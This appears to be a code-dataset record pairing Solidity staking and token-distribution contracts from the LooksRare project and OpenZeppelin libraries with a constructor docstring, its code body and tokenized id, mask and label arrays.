rewardDurationInBlocks; } else { currentRewardPerBlock = (reward + ((periodEndBlock - block.number) * currentRewardPerBlock)) / rewardDurationInBlocks; } lastUpdateBlock = block.number; periodEndBlock = block.number + rewardDurationInBlocks; emit NewRewardPeriod(rewardDurationInBlocks, currentRewardPerBlock, reward); } /** * @notice Calculate pending rewards (WETH) for a user * @param user address of the user */ function calculatePendingRewards(address user) external view returns (uint256) { return _calculatePendingRewards(user); } /** * @notice Calculate value of LOOKS for a user given a number of shares owned * @param user address of the user */ function calculateSharesValueInLOOKS(address user) external view returns (uint256) { // Retrieve amount staked (uint256 totalAmountStaked, ) = tokenDistributor.userInfo(address(this)); // Adjust for pending rewards totalAmountStaked += tokenDistributor.calculatePendingRewards(address(this)); // Return user pro-rata of total shares return userInfo[user].shares == 0 ? 0 : (totalAmountStaked * userInfo[user].shares) / totalShares; } /** * @notice Calculate price of one share (in LOOKS token) * Share price is expressed times 1e18 */ function calculateSharePriceInLOOKS() external view returns (uint256) { (uint256 totalAmountStaked, ) = tokenDistributor.userInfo(address(this)); // Adjust for pending rewards totalAmountStaked += tokenDistributor.calculatePendingRewards(address(this)); return totalShares == 0 ? PRECISION_FACTOR : (totalAmountStaked * PRECISION_FACTOR) / (totalShares); } /** * @notice Return last block where trading rewards were distributed */ function lastRewardBlock() external view returns (uint256) { return _lastRewardBlock(); } /** * @notice Calculate pending rewards for a user * @param user address of the user */ function _calculatePendingRewards(address user) internal view returns (uint256) { return ((userInfo[user].shares * (_rewardPerToken() - (userInfo[user].userRewardPerTokenPaid))) / PRECISION_FACTOR) + userInfo[user].rewards; } /** * @notice Check current allowance and adjust if necessary * @param _amount amount to transfer * @param _to token to transfer */ function _checkAndAdjustLOOKSTokenAllowanceIfRequired(uint256 _amount, address _to) internal { if (looksRareToken.allowance(address(this), _to) < _amount) { looksRareToken.approve(_to, type(uint256).max); } } /** * @notice Return last block where rewards must be distributed */ function _lastRewardBlock() internal view returns (uint256) { return block.number < periodEndBlock ? block.number : periodEndBlock; } /** * @notice Return reward per token */ function _rewardPerToken() internal view returns (uint256) { if (totalShares == 0) { return rewardPerTokenStored; } return rewardPerTokenStored + ((_lastRewardBlock() - lastUpdateBlock) * (currentRewardPerBlock * PRECISION_FACTOR)) / totalShares; } /** * @notice Update reward for a user account * @param _user address of the user */ function _updateReward(address _user) internal { if (block.number != lastUpdateBlock) { rewardPerTokenStored = _rewardPerToken(); lastUpdateBlock = _lastRewardBlock(); } userInfo[_user].rewards = _calculatePendingRewards(_user); userInfo[_user].userRewardPerTokenPaid = rewardPerTokenStored; } /** * @notice Withdraw staked tokens (and collect reward tokens if requested) * @param shares shares to withdraw * @param claimRewardToken whether to claim reward tokens */ function _withdraw(uint256 shares, bool claimRewardToken) internal { // Auto compounds for everyone tokenDistributor.harvestAndCompound(); // Update reward for user _updateReward(msg.sender); // Retrieve total amount staked and calculated current amount (in LOOKS) (uint256 totalAmountStaked, ) = tokenDistributor.userInfo(address(this)); uint256 currentAmount = (totalAmountStaked * shares) / totalShares; userInfo[msg.sender].shares -= shares; totalShares -= shares; // Withdraw amount equivalent in shares tokenDistributor.withdraw(currentAmount); uint256 pendingRewards; if (claimRewardToken) { // Fetch pending rewards pendingRewards = userInfo[msg.sender].rewards; if (pendingRewards > 0) { userInfo[msg.sender].rewards = 0; rewardToken.safeTransfer(msg.sender, pendingRewards); } } // Transfer LOOKS tokens to sender looksRareToken.safeTransfer(msg.sender, currentAmount); emit Withdraw(msg.sender, currentAmount, pendingRewards); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {ILooksRareToken} from "../interfaces/ILooksRareToken.sol"; /** * @title TokenDistributor * @notice It handles the distribution of LOOKS token. * It auto-adjusts block rewards over a set number of periods. */ contract TokenDistributor is ReentrancyGuard { using SafeERC20 for IERC20; using SafeERC20 for ILooksRareToken; struct StakingPeriod { uint256 rewardPerBlockForStaking; uint256 rewardPerBlockForOthers; uint256 periodLengthInBlock; } struct UserInfo { uint256 amount; // Amount of staked tokens provided by user uint256 rewardDebt; // Reward debt } // Precision factor for calculating rewards uint256 public constant PRECISION_FACTOR = 10**12; ILooksRareToken public immutable looksRareToken; address public immutable tokenSplitter; // Number of reward periods uint256 public immutable NUMBER_PERIODS; // Block number when rewards start uint256 public immutable START_BLOCK; // Accumulated tokens per share uint256 public accTokenPerShare; // Current phase for rewards uint256 public currentPhase; // Block number when rewards end uint256 public endBlock; // Block number of the last update uint256 public lastRewardBlock; // Tokens distributed per block for other purposes (team + treasury + trading rewards) uint256 public rewardPerBlockForOthers; // Tokens distributed per block for staking uint256 public rewardPerBlockForStaking; // Total amount staked uint256 public totalAmountStaked; mapping(uint256 => StakingPeriod) public stakingPeriod; mapping(address => UserInfo) public userInfo; event Compound(address indexed user, uint256 harvestedAmount); event Deposit(address indexed user, uint256 amount, uint256 harvestedAmount); event NewRewardsPerBlock( uint256 indexed currentPhase, uint256 startBlock, uint256 rewardPerBlockForStaking, uint256 rewardPerBlockForOthers ); event Withdraw(address indexed user, uint256 amount, uint256 harvestedAmount); /** * @notice Constructor * @param _looksRareToken LOOKS token address * @param _tokenSplitter token splitter contract address (for team and trading rewards) * @param _startBlock start block for reward program * @param _rewardsPerBlockForStaking array of rewards per block for staking * @param _rewardsPerBlockForOthers array of rewards per block for other purposes (team + treasury + trading rewards) * @param _periodLengthesInBlocks array of period lengthes * @param _numberPeriods number of periods with different rewards/lengthes (e.g., if 3 changes --> 4 periods) */ constructor( address _looksRareToken, address _tokenSplitter, uint256 _startBlock, uint256[] memory _rewardsPerBlockForStaking, uint256[] memory _rewardsPerBlockForOthers, uint256[] memory _periodLengthesInBlocks, uint256 _numberPeriods ) { require( (_periodLengthesInBlocks.length == _numberPeriods) && (_rewardsPerBlockForStaking.length == _numberPeriods) && (_rewardsPerBlockForStaking.length == _numberPeriods), "Distributor: Lengthes must match numberPeriods" ); // 1. Operational checks for supply uint256 nonCirculatingSupply = ILooksRareToken(_looksRareToken).SUPPLY_CAP() - ILooksRareToken(_looksRareToken).totalSupply(); uint256 amountTokensToBeMinted; for (uint256 i = 0; i < _numberPeriods; i++) { amountTokensToBeMinted += (_rewardsPerBlockForStaking[i] * _periodLengthesInBlocks[i]) + (_rewardsPerBlockForOthers[i] * _periodLengthesInBlocks[i]); stakingPeriod[i] = StakingPeriod({ rewardPerBlockForStaking: _rewardsPerBlockForStaking[i], rewardPerBlockForOthers: _rewardsPerBlockForOthers[i], periodLengthInBlock: _periodLengthesInBlocks[i] }); } require(amountTokensToBeMinted == nonCirculatingSupply, "Distributor: Wrong reward parameters"); // 2. Store values looksRareToken = ILooksRareToken(_looksRareToken); tokenSplitter = _tokenSplitter; rewardPerBlockForStaking = _rewardsPerBlockForStaking[0]; rewardPerBlockForOthers = _rewardsPerBlockForOthers[0]; START_BLOCK = _startBlock; endBlock = _startBlock + _periodLengthesInBlocks[0]; NUMBER_PERIODS = _numberPeriods; // Set the lastRewardBlock as the startBlock lastRewardBlock = _startBlock; } /** * @notice Deposit staked tokens and compounds pending rewards * @param amount amount to deposit (in LOOKS) */ function deposit(uint256 amount) external nonReentrant { require(amount > 0, "Deposit: Amount must be > 0"); // Update pool information _updatePool(); // Transfer LOOKS tokens to this contract looksRareToken.safeTransferFrom(msg.sender, address(this), amount); uint256 pendingRewards; // If not new deposit, calculate pending rewards (for auto-compounding) if (userInfo[msg.sender].amount > 0) { pendingRewards = ((userInfo[msg.sender].amount * accTokenPerShare) / PRECISION_FACTOR) - userInfo[msg.sender].rewardDebt; } // Adjust user information userInfo[msg.sender].amount += (amount + pendingRewards); userInfo[msg.sender].rewardDebt = (userInfo[msg.sender].amount * accTokenPerShare) / PRECISION_FACTOR; // Increase totalAmountStaked totalAmountStaked += (amount + pendingRewards); emit Deposit(msg.sender, amount, pendingRewards); } /** * @notice Compound based on pending rewards */ function harvestAndCompound() external nonReentrant { // Update pool information _updatePool(); // Calculate pending rewards uint256 pendingRewards = ((userInfo[msg.sender].amount * accTokenPerShare) / PRECISION_FACTOR) - userInfo[msg.sender].rewardDebt; // Return if no pending rewards if (pendingRewards == 0) { // It doesn't throw revertion (to help with the fee-sharing auto-compounding contract) return; } // Adjust user amount for pending rewards userInfo[msg.sender].amount += pendingRewards; // Adjust totalAmountStaked totalAmountStaked += pendingRewards; // Recalculate reward debt based on new user amount userInfo[msg.sender].rewardDebt = (userInfo[msg.sender].amount * accTokenPerShare) / PRECISION_FACTOR; emit Compound(msg.sender, pendingRewards); } /** * @notice Update pool rewards */ function updatePool() external nonReentrant { _updatePool(); } /** * @notice Withdraw staked tokens and compound pending rewards * @param amount amount to withdraw */ function withdraw(uint256 amount) external nonReentrant { require( (userInfo[msg.sender].amount >= amount) && (amount > 0), "Withdraw: Amount must be > 0 or lower than user balance" ); // Update pool _updatePool(); // Calculate pending rewards uint256 pendingRewards = ((userInfo[msg.sender].amount * accTokenPerShare) / PRECISION_FACTOR) - userInfo[msg.sender].rewardDebt; // Adjust user information userInfo[msg.sender].amount = userInfo[msg.sender].amount + pendingRewards - amount; userInfo[msg.sender].rewardDebt = (userInfo[msg.sender].amount * accTokenPerShare) / PRECISION_FACTOR; // Adjust total amount staked totalAmountStaked = totalAmountStaked + pendingRewards - amount; // Transfer LOOKS tokens to the sender looksRareToken.safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, pendingRewards); } /** * @notice Withdraw all staked tokens and collect tokens */ function withdrawAll() external nonReentrant { require(userInfo[msg.sender].amount > 0, "Withdraw: Amount must be > 0"); // Update pool _updatePool(); // Calculate pending rewards and amount to transfer (to the sender) uint256 pendingRewards = ((userInfo[msg.sender].amount * accTokenPerShare) / PRECISION_FACTOR) - userInfo[msg.sender].rewardDebt; uint256 amountToTransfer = userInfo[msg.sender].amount + pendingRewards; // Adjust total amount staked totalAmountStaked = totalAmountStaked - userInfo[msg.sender].amount; // Adjust user information userInfo[msg.sender].amount = 0; userInfo[msg.sender].rewardDebt = 0; // Transfer LOOKS tokens to the sender looksRareToken.safeTransfer(msg.sender, amountToTransfer); emit Withdraw(msg.sender, amountToTransfer, pendingRewards); } /** * @notice Calculate pending rewards for a user * @param user address of the user * @return Pending rewards */ function calculatePendingRewards(address user) external view returns (uint256) { if ((block.number > lastRewardBlock) && (totalAmountStaked != 0)) { uint256 multiplier = _getMultiplier(lastRewardBlock, block.number); uint256 tokenRewardForStaking = multiplier * rewardPerBlockForStaking; uint256 adjustedEndBlock = endBlock; uint256 adjustedCurrentPhase = currentPhase; // Check whether to adjust multipliers and reward per block while ((block.number > adjustedEndBlock) && (adjustedCurrentPhase < (NUMBER_PERIODS - 1))) { // Update current phase adjustedCurrentPhase++; // Update rewards per block uint256 adjustedRewardPerBlockForStaking = stakingPeriod[adjustedCurrentPhase].rewardPerBlockForStaking; // Calculate adjusted block number uint256 previousEndBlock = adjustedEndBlock; // Update end block adjustedEndBlock = previousEndBlock + stakingPeriod[adjustedCurrentPhase].periodLengthInBlock; // Calculate new multiplier uint256 newMultiplier = (block.number <= adjustedEndBlock) ? (block.number - previousEndBlock) : stakingPeriod[adjustedCurrentPhase].periodLengthInBlock; // Adjust token rewards for staking tokenRewardForStaking += (newMultiplier * adjustedRewardPerBlockForStaking); } uint256 adjustedTokenPerShare = accTokenPerShare + (tokenRewardForStaking * PRECISION_FACTOR) / totalAmountStaked; return (userInfo[user].amount * adjustedTokenPerShare) / PRECISION_FACTOR - userInfo[user].rewardDebt; } else { return (userInfo[user].amount * accTokenPerShare) / PRECISION_FACTOR - userInfo[user].rewardDebt; } } /** * @notice Update reward variables of the pool */ function _updatePool() internal { if (block.number <= lastRewardBlock) { return; } if (totalAmountStaked == 0) { lastRewardBlock = block.number; return; } // Calculate multiplier uint256 multiplier = _getMultiplier(lastRewardBlock, block.number); // Calculate rewards for staking and others uint256 tokenRewardForStaking = multiplier * rewardPerBlockForStaking; uint256 tokenRewardForOthers = multiplier * rewardPerBlockForOthers; // Check whether to adjust multipliers and reward per block while ((block.number > endBlock) && (currentPhase < (NUMBER_PERIODS - 1))) { // Update rewards per block _updateRewardsPerBlock(endBlock); uint256 previousEndBlock = endBlock; // Adjust the end block endBlock += stakingPeriod[currentPhase].periodLengthInBlock; // Adjust multiplier to cover the missing periods with other lower inflation schedule uint256 newMultiplier = _getMultiplier(previousEndBlock, block.number); // Adjust token rewards tokenRewardForStaking += (newMultiplier * rewardPerBlockForStaking); tokenRewardForOthers += (newMultiplier * rewardPerBlockForOthers); } // Mint tokens only if token rewards for staking are not null if (tokenRewardForStaking > 0) { // It allows protection against potential issues to prevent funds from being locked bool mintStatus = looksRareToken.mint(address(this), tokenRewardForStaking); if (mintStatus) { accTokenPerShare = accTokenPerShare + ((tokenRewardForStaking * PRECISION_FACTOR) / totalAmountStaked); } looksRareToken.mint(tokenSplitter, tokenRewardForOthers); } // Update last reward block only if it wasn't updated after or at the end block if (lastRewardBlock <= endBlock) { lastRewardBlock = block.number; } } /** * @notice Update rewards per block * @dev Rewards are halved by 2 (for staking + others) */ function _updateRewardsPerBlock(uint256 _newStartBlock) internal { // Update current phase currentPhase++; // Update rewards per block rewardPerBlockForStaking = stakingPeriod[currentPhase].rewardPerBlockForStaking; rewardPerBlockForOthers = stakingPeriod[currentPhase].rewardPerBlockForOthers; emit NewRewardsPerBlock(currentPhase, _newStartBlock, rewardPerBlockForStaking, rewardPerBlockForOthers); } /** * @notice Return reward multiplier over the given "from" to "to" block. * @param from block to start calculating reward * @param to block to finish calculating reward * @return the multiplier for the period */ function _getMultiplier(uint256 from, uint256 to) internal view returns (uint256) { if (to <= endBlock) { return to - from; } else if (from >= endBlock) { return 0; } else { return endBlock - from; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IRewardConvertor { function convert( address tokenToSell, address tokenToBuy, uint256 amount, bytes calldata additionalData ) external returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ILooksRareToken is IERC20 { function SUPPLY_CAP() external view returns (uint256); function mint(address account, uint256 amount) external returns (bool); }
* @notice Constructor @param _feeSharingSetter address of the fee sharing setter contract @param _tokenSplitter address of the token splitter contract @param _teamVesting address of the team vesting contract @param _treasuryVesting address of the treasury vesting contract @param _tradingRewardsDistributor address of the trading rewards distributor contract/
) { feeSharingSetter = FeeSharingSetter(_feeSharingSetter); tokenSplitter = TokenSplitter(_tokenSplitter); teamVesting = _teamVesting; treasuryVesting = _treasuryVesting; tradingRewardsDistributor = _tradingRewardsDistributor; }
514,834
[ 1, 6293, 225, 389, 21386, 22897, 8465, 1758, 434, 326, 14036, 21001, 7794, 6835, 225, 389, 2316, 26738, 1758, 434, 326, 1147, 21553, 6835, 225, 389, 10035, 58, 10100, 1758, 434, 326, 5927, 331, 10100, 6835, 225, 389, 27427, 345, 22498, 58, 10100, 1758, 434, 326, 9787, 345, 22498, 331, 10100, 6835, 225, 389, 313, 14968, 17631, 14727, 1669, 19293, 1758, 434, 326, 1284, 7459, 283, 6397, 1015, 19293, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 288, 203, 3639, 14036, 22897, 8465, 273, 30174, 22897, 8465, 24899, 21386, 22897, 8465, 1769, 203, 3639, 1147, 26738, 273, 3155, 26738, 24899, 2316, 26738, 1769, 203, 3639, 5927, 58, 10100, 273, 389, 10035, 58, 10100, 31, 203, 3639, 9787, 345, 22498, 58, 10100, 273, 389, 27427, 345, 22498, 58, 10100, 31, 203, 3639, 1284, 7459, 17631, 14727, 1669, 19293, 273, 389, 313, 14968, 17631, 14727, 1669, 19293, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
